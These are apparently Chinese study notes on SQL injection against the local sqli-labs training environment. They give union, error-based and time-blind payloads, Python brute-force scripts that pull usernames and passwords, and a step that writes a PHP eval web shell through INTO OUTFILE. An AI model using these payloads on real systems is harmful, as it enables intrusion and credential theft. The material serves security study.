sql注入笔记

一、判断是否存在sql注入

1、页面有回显:

(1)先输入 ?id=1 ,页面正常反应;

(2)输入 ?id=1' 页面显示异常,输入 ?id=1" 页面正常,说明是单引号注入;

         若输入 ?id=1' 页面正常,输入 ?id=1" 页面显示异常,说明是双引号注入;

(注:有时页面不存在回显,采用时间盲注判断是否存在sql注入)

2、页面无回显:

(1)输入 ?id=1' and if(1=1,sleep(3),1)--+ 若页面延时3秒,则说明是单引号注入;

(2)若(1)没有延时3秒,输入?id=1" and if(1=1,sleep(3),1)--+ 若页面延时3秒,说明是双引号注入,如果页面依然没有延时,则尝试添加括号;

二、判断是字符型还是数字型

1、数字型

(1)输入 ?id=1 and 1=1 ,页面应正常反应;

(2)输入 ?id=1 and 1=2 ,若页面反馈错误,则说明是数字型注入,若页面仍然正常反应,说明是字符型注入;

2、字符型

(1)若输入 ?id=1' 若界面出错

        a、而输入 ?id=1'--+,页面正常,(再输入 ?id=1' and '1'='2 ,页面反馈错误,)说明是单引号字符型注入;

        b、若输入 ?id=1'--+,页面反馈错误, 说明一个单引号无法闭合,需尝试更多选择,如  )" ' 等;

(2)若输入 ?id=1' 界面正常,说明不是单引号字符型注入,先考虑双引号,输入 ?id=1" 若界面出错,再输入 ?id=1" --+,页面正常,(再输入 ?id=1" and "1"="2 ,页面反馈错误,)说明是双引号字符型注入;

三、具体注入方法(以下均以单引号字符型注入为例)

1、页面有回显

(1)使用联合注入,注入步骤如下:

a、先判断数据表的字段数量(页面显示的应为字段的一部分),每次递增1;

?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+

 直至页面报错或显示异常;

?id=1' order by 4--+

 此时可以确定字段数为3;

b、爆出页面显示的是哪一字段:

?id=-1' union select 1,2,3--+

 此时可知显示位为第二位和第三位;

c、爆出网页所用mysql数据库版本和查询用户所用的数据库:

?id=-1' union select 1,version(),database()--+

此时查出网页所用数据库为 ‘security’ ;

 d、通过数据库 information_schema 的 tables 表(记录有各个数据库的数据表名)来查询数据库 security 的数据表有哪些:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

注:table_name为此所要查询的数据库的数据表名,table_schema为所要查询的数据库的名称;

查询结果所得数据表 users 是我们感兴趣的;

e、通过数据库 information_schema 的 columns 表(记录有各个数据库中数据表的字段内容)来查询 users 数据表中有哪些字段值得发掘:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

注:column_name 为所要查询的数据表的字段内容,table_name 为所要查询的数据表名;

 查询结果中,我们感兴趣的是 id ,username ,password 字段;

f、查询 users 中具体的字段的内容:

?id=-1' union select 1,2,group_concat(username,id,password) from users--+

 查出结果:

注:联合注入时,有时会出错,可以通过给查询语句加括号然后加 select:

http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

(2)报错注入:

原理:

updatexml(1,concat(0x5e,query,0x5e),1)       
除此之外,还有:
floor(),extractvalue(),geometrycollection() 等             

a、查询数据库版本:

?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)--+

b、查询页面所用的数据库:

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

?id=1' and info()--+

c、通过数据库 information_ schema 的 tables 表来查询数据库 security 的数据表有哪些:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

 d、通过数据库 information_ schema 的 columns 表来查询 user 表的字段有哪些:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

 这时我们可以发现,数据没有被两个 ~ 包围,说明数据显示不全,这时候我们可以用 substr() 函数来进行截断;

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1),0x7e),1)--+

 注:

substr()函数:
1、有两个参数:substr(str,num),代表从第 num 个字符开始截,截到末尾;
2、有三个参数:substr(str,num1,num2),代表从第 num1 个字符开始截,截 num2 个字符;
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32),0x7e),1)--+

还有一种方法是不用 group_concat() 函数,而是 concat() 和分页查询 limit 配合使用;

?id=1' and updatexml(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name='users' limit 0,1),0x7e),1)--+

 (limit x,1)中x 每次递增1,查出所有字段,直到不显示报错;

注意:若是在 update 中进行注入就不能在表 users 中进行查询,因为mysql数据不支持查询和更新是同一张表,我们在把恶意代码插入 update 中是也是在做查询,所以会报错;

报错内容为:

You can't specify target table 'users' for update in FROM clause

解决办法:要添加一个表查询来替代掉users:

uname=admin&passwd=1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='Angelina') b) ,0x5c)))# &submit=Submit

这样不行,会发生报错:

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from (select concat(table_name) from information_schema.tables where table_schema='security') b),0x7e),1)#&submit=Submit

 报错内容如下:是因为 mysql 不支持动态的xpath查询

Only constant XPATH queries are supported

若出现报错:是因为在做多表查询,或者查询的时候产生新的表的时候会出现这个错误:Every derived table must have its own alias(每一个派生出来的表都必须有一个自己的别名

Every derived table must have its own alias

补充:

可以使用 burpsuite 来查看 查询的内容,在 intruder 模块中,使用 grep-extract 来进行关键字的标注。

 (3)使用 python 写时间盲注脚本来爆破数据库内容:

a、爆破所用数据库的名称长度:

def get_database_length():
    for i in range(1,20):
        url = "http://127.0.0.1/Less-1/"
        sql = "?id=1' and if(length(database())>%d,sleep(2),1)--+" % i
        time_1 = datetime.datetime.now()
        request = requests.get(url + sql)
        time_2 = datetime.datetime.now()
        sec = (time_2 - time_1).seconds
        if sec >= 2:
            print(i)
        else:
            print(i)
            break
    print('database_length:', i)

b、爆破数据库名:

def get_database_name():
    name = ''
    for i in range(1,9):
        for j in "0123456789abcdefghijklmnopqrstuvwxyz_,":
            url = "http://127.0.0.1/Less-1/"
            sql = "?id=1' and if(substr(database(),%d,1)='%s',sleep(2),1)--+" % (i,j)
            time_1 = datetime.datetime.now()
            request = requests.get(url + sql)
            time_2 = datetime.datetime.now()
            sec = (time_2 - time_1).seconds
            if sec >= 2:
                name += j
                print(name)
                break
    print('database_name:', name)

c、爆破数据库的所有表的长度:

def get_database_tables_length():
    for i in range(1,100):
        url = "http://127.0.0.1/Less-1/"
        sql = "?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>%d,sleep(2),1)--+" % i
        time_1 = datetime.datetime.now()
        request = requests.get(url + sql)
        time_2 = datetime.datetime.now()
        sec = (time_2 - time_1).seconds
        if sec >= 2:
            print(i)
        else:
            print(i)
            break
    print('database_tables_length:', i)

d、爆破数据库所有表的名称:

def get_database_tables_name():
    name = ''
    for i in range(1,30):
        for j in "0123456789abcdefghijklmnopqrstuvwxyz_,":
            url = "http://127.0.0.1/Less-1/"
            sql = "?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1)='%s',sleep(2),1)--+" % (i,j)
            time_1 = datetime.datetime.now()
            request = requests.get(url + sql)
            time_2 = datetime.datetime.now()
            sec = (time_2 - time_1).seconds
            if sec >= 2:
                name += j
                print(name)
                break

    print('daatbase_tables_name:', name)

e、爆破指定表的字段的长度:

def get_database_table_columns_length():
    for i in range(1,100):
        url = "http://127.0.0.1/Less-1/"
        sql = "?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_name='users'))>%d,sleep(2),1)--+" % i
        time_1 = datetime.datetime.now()
        request = requests.get(url + sql)
        time_2 = datetime.datetime.now()
        sec = (time_2 - time_1).seconds
        if sec >= 2:
            print(i)
        else:
            print(i)
            break
    print('database_table_columns_length:',i)

f、爆破指定表的字段的名称:

def get_database_table_columns_name():
    name = ''
    for i in range(1,64):
        for j in "0123456789abcdefghijklmnopqrstuvwxyz_,":
            url = "http://127.0.0.1/Less-1/"
            sql = "?id=1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1)='%s',sleep(2),1)--+" % (i, j)
            time_1 = datetime.datetime.now()
            request = requests.get(url + sql)
            time_2 = datetime.datetime.now()
            sec = (time_2 - time_1).seconds
            if sec >= 2:
                name += j
                print(name)
                break
    print('database_table_colums_name:', name)

g、爆破字段内容的长度:

def get_content_length():
    for i in range(1, 200):
        url = "http://127.0.0.1/Less-1/"
        sql = "?id=1' and if(length((select group_concat(username,id,password) from users))>%d,sleep(2),1)--+" % i
        time_1 = datetime.datetime.now()
        request = requests.get(url + sql)
        time_2 = datetime.datetime.now()
        sec = (time_2 - time_1).seconds
        if sec >= 2:
            print(i)
        else:
            print(i)
            break;
    print('content_length:', i)

h、爆破字段内容:

def get_content():
    name = ''
    for i in range(1,193):
        for j in "0123456789abcdefghijklmnopqrstuvwxyz_,":
            url = "http://127.0.0.1/Less-1/"
            sql = "?id=1' and if(substr((select group_concat(username,id,password) from users),%d,1)='%s',sleep(2),1)--+" % (i, j)
            time_1 = datetime.datetime.now()
            request = requests.get(url + sql)
            time_2 = datetime.datetime.now()
            sec = (time_2 - time_1).seconds
            if sec >= 2:
                name += j
                print(name)
                break
    print('content:',name)

补充:post请求类型脚本:

import time
import requests
import datetime


url = "http://127.0.0.1/Less-11/"

data = {
    '"uname"': "1",
    "passwd": "1"
}

charset = "0123456789abcdefghijklmnopqrstuvwxyz,_^~-"


def get_database_length():
    for i in range(1, 30):
        data["uname"] = "a' or length(database())={}#".format(i)
        request = requests.post(url=url, data=data)
        if "../images/flag.jpg" in request.text:
            print(i)
            break


# get_database_length()


def get_database():
    name = ''
    for i in range(1, 30):
        for j in charset:
            data['uname'] = "a' or substr((database()),{},1)='{}'#".format(i, j)
            request = requests.post(url=url, data=data)
            if "../images/flag.jpg" in request.text:
                name += j
                print(name)

    print("database:", name)


# get_database()

def get_content():
    name = ''
    for i in range(1, 300):
        for j in charset:
            data['uname'] = "a' or substr((select group_concat(username,id,password) " \
                            "from users),{},1)='{}'#".format(i, j)
            request = requests.post(url=url, data=data)
            if "../images/flag.jpg" in request.text:
                name += j
                print(name)

    print("content:", name)


get_content()

若不用图片文件出现与否判断,只能sleep()延时注入,但必须知道用户名(uname),不然后面只能用or,但是那样的话,延时时间就不是短短的2-3秒了;

(实际上是延时5*13秒返回,因为or语句的前一个条件为id查询所以要查询表单中的所有id,因为users表内有13个id因此实际的返回时间为5*13)

(4)把内容写入文件:

a、获取数据库名:

?id=1' union select 1,2,database() into outfile 'D:\\sqli-labs\\sqli-labs-master\\Less-1\\ydy.txt'--+

                              

 b、获取数据库的数据表名:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "D:\\sqli-labs\\sqli-labs-master\\Less-1\\ydy.txt"--+

 c、获取数据表 users 的字段名:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' into outfile "D:\\sqli-labs\\sqli-labs-master\\Less-1\\ydy1.txt"--+

d、获取数据表 users 的字段的内容:

?id=-1' union select 1,2,group_concat(username,id,password) from users into outfile "D:\\sqli-labs\\sqli-labs-master\\Less-1\\ydy2.txt"--+

字符过长,可以换一种方式保存:

?id=-1' union select id,username,password from users into outfile "D:\\sqli-labs\\sqli-labs-master\\Less-1\\ydy3.txt"--+

 

 (5)写入一句话木马:

a、写入php文件:

?id=-1' union select 1,2,'<?php @eval($_POST["pass"]); ?>' into outfile "D:\\sqli-labs\\sqli-labs-master\\Less-1\\cy1.php"--+

b、查看是否写入成功:

 c、用中国剑蚁或中国菜刀打开:

(6)使用burpsuite爆破:

第一种使用 left(a, b) 函数,a是源字符串,b的意思是字符串a的第b个字符;把 a 设置为关键字,然后直接用 Sniper 进行爆破

原理:

?id=1' and if((left((database()),1)='a'),1,0)--+

第二种:使用 substr(a, b, c) 函数,a 是源字符串,b 是从第几个字符开始, c 是从第 b 个字符开始往后数 c 个字符:把第一个 1 设置为参数一,把 a 设置为参数二,使用 Cluster bomb 进行爆破,字典一设置为 1-40 的数字,字典二设置字符字典,然后直接进行爆破

?id=1' and if((substr(database,1,1)='a'),1,0)--+

补充:

(1)@@datadir;  获取数据存放路径

(2)@@basedir;获取安装路径

(3)@@version_compile_os ;得到当前操作系统

(4)regexp:

若用户为root,输入 select user() regexp 'r'
                  select user() regexp 'root',均返回1       
             输入 select user() regexp 'rot',则返回0

(5)like:

输入:select user() like 'r%' 或 select user() like 'root%'均返回1
输入:select user() like 'rot%' 返回0

(6)ascii():获取字符串的十进制ascii码

ascii(substr((select database()),1,1))=115
在python中 chr(115) 得到字符 's';ord('s') 得到数字115

(7)查库:

select schema_name from information_schema.schemata;

(8)注释:

除了 ' --+ '   '# ' 之外还有 ' ;%00 '可以进行注释;

(9)若注入是针对数据库的 insert 语句,则需要对插入数据 values 后的括号和引号进行闭合:

eg:

$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)";
//若是对$uagent进行替换
//闭合方法1
' or updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1#

//闭合方法2
' or updatexml(1,concat(0x7e,database(),0x7e),1),'','')#

(10)若是注释符被过滤也要想办法闭合引号:

eg:

http://127.0.0.1/Less-23/?id=-1' union select 1,2,3 or '1'='1

(11)order by 被忽视的现象:

# 以下语句均返回正常(忽视了order by)
select * from users where id=1 order by 3 or 1=1;
select * from users where id=1 order by 44444 or 1=1;

select * from users where id=1 order by 3 and 1=1;
select * from users where id=1 order by 3333 and 1=1;

# 以下语句会有返回异常
select * from users where id=1 and 1=1 order by 3;
select * from users where id=1 and 1=1 order by 33333;

select * from users where id=1 or 1=1 order by 3;
select * from users where id=1 or 1=1 order by 33333;

 注:若查询时要进行 ' 闭合,那只能直接用 union select 1,2,3,···来判断字段数了

eg:sqli-labs第23关

//payload为:?id=1' order by 4 and '1'='1 
//这里order by 被当作字符串处理,还是被忽视了
//此时就要用 union select来判断字段数:?id=1' union select 1,2,3,4 or '1'='1

(12)二次注入:实现二次注入还是要有未被过滤的部分;

(13)查询密码:

select host,user,authentication_string from mysql.user;
mysql 版本 5.7 以前密码字段是 password
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SQL注入是一种常见的网络安全漏洞,攻击者通过注入恶意的SQL代码来获取数据库中的数据或者执行非法操作。引用中提到了一个名为sqlmap的工具,它是用来识别和利用SQL注入漏洞的。请注意,为了遵守法律规定,我们不鼓励或支持在他人的网站上进行恶意攻击或破坏行为。 在进行sqlmap实战之前,首先需要确认目标网站是否存在SQL注入漏洞。可以通过访问网页并尝试使用一些特殊字符或语法进行测试。引用中的示例展示了如何使用id=参数进行测试,如果返回的结果与预期不符,说明该页面可能存在注入漏洞。 一旦确认目标网站存在注入漏洞,可以使用sqlmap来进行实际的注入测试。sqlmap是一个功能强大的工具,可以自动检测和利用SQL注入漏洞。它提供了多种选项和参数,可以根据需要进行定制化设置。具体的使用教程可以参考引用所提供的详细笔记。 需要强调的是,只有在授权的情况下,才能使用sqlmap工具进行漏洞测试。同时,建议在测试时使用自己的虚拟机环境,避免对他人网站造成不必要的损害。最重要的是,及时修复和加固自己的网站,以减少SQL注入漏洞的风险。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [sqlmap 进行sql漏洞注入](https://blog.csdn.net/qq_42876636/article/details/87691842)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* [sql注入-注入漏洞获得数据库数据-kali-sqlmap-运维安全详细笔记](https://download.csdn.net/download/qq_34953582/87973686)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值